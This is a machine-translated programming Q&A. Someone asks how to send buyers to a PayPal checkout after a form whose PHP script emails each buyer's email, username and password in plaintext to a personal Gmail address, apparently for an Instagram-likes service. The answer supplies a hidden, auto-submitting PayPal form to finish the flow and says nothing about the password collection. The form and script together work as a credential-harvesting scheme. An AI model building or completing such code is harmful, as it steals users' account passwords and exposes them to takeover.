当用户/客户点击结帐按钮时,我正在尝试将其转到何处。它使用我的“checkout.php”将信息提交到我的电子邮件,但也将它们重定向到我的 Paypal 结帐。 Paypal 很奇怪,使用我不理解的 token 系统。链接发生变化,所以我不能将它们重定向到静态链接。请帮忙
Paypal 按钮
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="K3GEAYAPBYY54">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>
表格
<form name="purchase" onsubmit="return validateForm()" action="php/checkout.php" method="POST">
<div class="form-style-8">
<label for="msg">E-mail:</label>
<input type="email" id="mail" name="email" placeholder="example@domain.com" />
</div>
<div>
<label for="msg">Username:</label>
<br>
<input id="user" name="username" placeholder=" Username">
</div>
<div>
<label for="msg">Password:</label>
<br>
<input type="password" id="pass" name="password" placeholder=" Password">
</div>
<div>
<input id="submit" type="submit" name="submit" value="submit">
</div>
PHP
<?php
$email = $_POST['email'];
$username = $_POST['username'];
$password = $_POST['password'];
$to = "theepicgamer9999@gmail.com";
$subject = "$username Info";
$message = "Email: $email <br> Username: $username <br> Password: $password";
$header = "From: instalikesapi@gmail.com \r\n";
$header .= "Cc: theepicgamer9999@gmail.com\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail ($to,$subject,$message,$header);
if( $retval == true ) {
echo "Message sent successfully...";
}else {
echo "Message could not be sent...";
}
?>
<script type="text/javascript">location.href = 'https://www.paypal.com/webapps/hermes?token=82N97270MX287331F&useraction=commit&xclick_params=JTI2aG9zdGVkX2J1dHRvbl9pZCUzREFRVFhVUDNUUlhYV1UlMjZidXNpbmVzcyUzRFU5N1NGU0g1QTRIQUolMjZpdGVtX25hbWUlM0RJbnN0YUxpa2VzQVBJJTI1MjAxJTI1MjBEYXklMjUyMFRva2VuJTI2aXRlbV9udW1iZXIlM0QwMDAxJTI2YW1vdW50JTNEMC43NCUyNmN1cnJlbmN5X2NvZGUlM0RVU0QlMjZsYyUzRFVTJTI2YnV0dG9uX3N1YnR5cGUlM0RzZXJ2aWNlcyUyNm5vX25vdGUlM0QwJTI2Y24lM0RBZGQlMjUyMHNwZWNpYWwlMjUyMGluc3RydWN0aW9ucyUyNTIwdG8lMjUyMHRoZSUyNTIwc2VsbGVyJTI1M2ElMjZub19zaGlwcGluZyUzRDIlMjZ0Y#/checkout/login';</script>
//OLD LINK
旧链接现在已经过时,除非生成新链接并将其放入 php.ini 文件中,否则不会加载。我该如何解决这个问题??
不是使用 location.href
返回 JS,而是使用 JS 代码返回 Paypal Button
表单,这将提交此表单。如果需要,您可以删除图像按钮以使该表单完全不可见,但仍可从 JS 提交。
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="K3GEAYAPBYY54">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>
<script type="text/javascript">
var form = document.getElementsByTagName("form");
if(form.length != 0) {
form[0].submit();
}
</script>
此代码应位于 PHP 脚本的末尾,而不是:
<script type="text/javascript">location.href = 'https://www.paypal.com/webapps/hermes?token=82N97270MX287331F&useraction=commit&xclick_params=JTI2aG9zdGVkX2J1dHRvbl9pZCUzREFRVFhVUDNUUlhYV1UlMjZidXNpbmVzcyUzRFU5N1NGU0g1QTRIQUolMjZpdGVtX25hbWUlM0RJbnN0YUxpa2VzQVBJJTI1MjAxJTI1MjBEYXklMjUyMFRva2VuJTI2aXRlbV9udW1iZXIlM0QwMDAxJTI2YW1vdW50JTNEMC43NCUyNmN1cnJlbmN5X2NvZGUlM0RVU0QlMjZsYyUzRFVTJTI2YnV0dG9uX3N1YnR5cGUlM0RzZXJ2aWNlcyUyNm5vX25vdGUlM0QwJTI2Y24lM0RBZGQlMjUyMHNwZWNpYWwlMjUyMGluc3RydWN0aW9ucyUyNTIwdG8lMjUyMHRoZSUyNTIwc2VsbGVyJTI1M2ElMjZub19zaGlwcGluZyUzRDIlMjZ0Y#/checkout/login';</script>
我是一名优秀的程序员,十分优秀!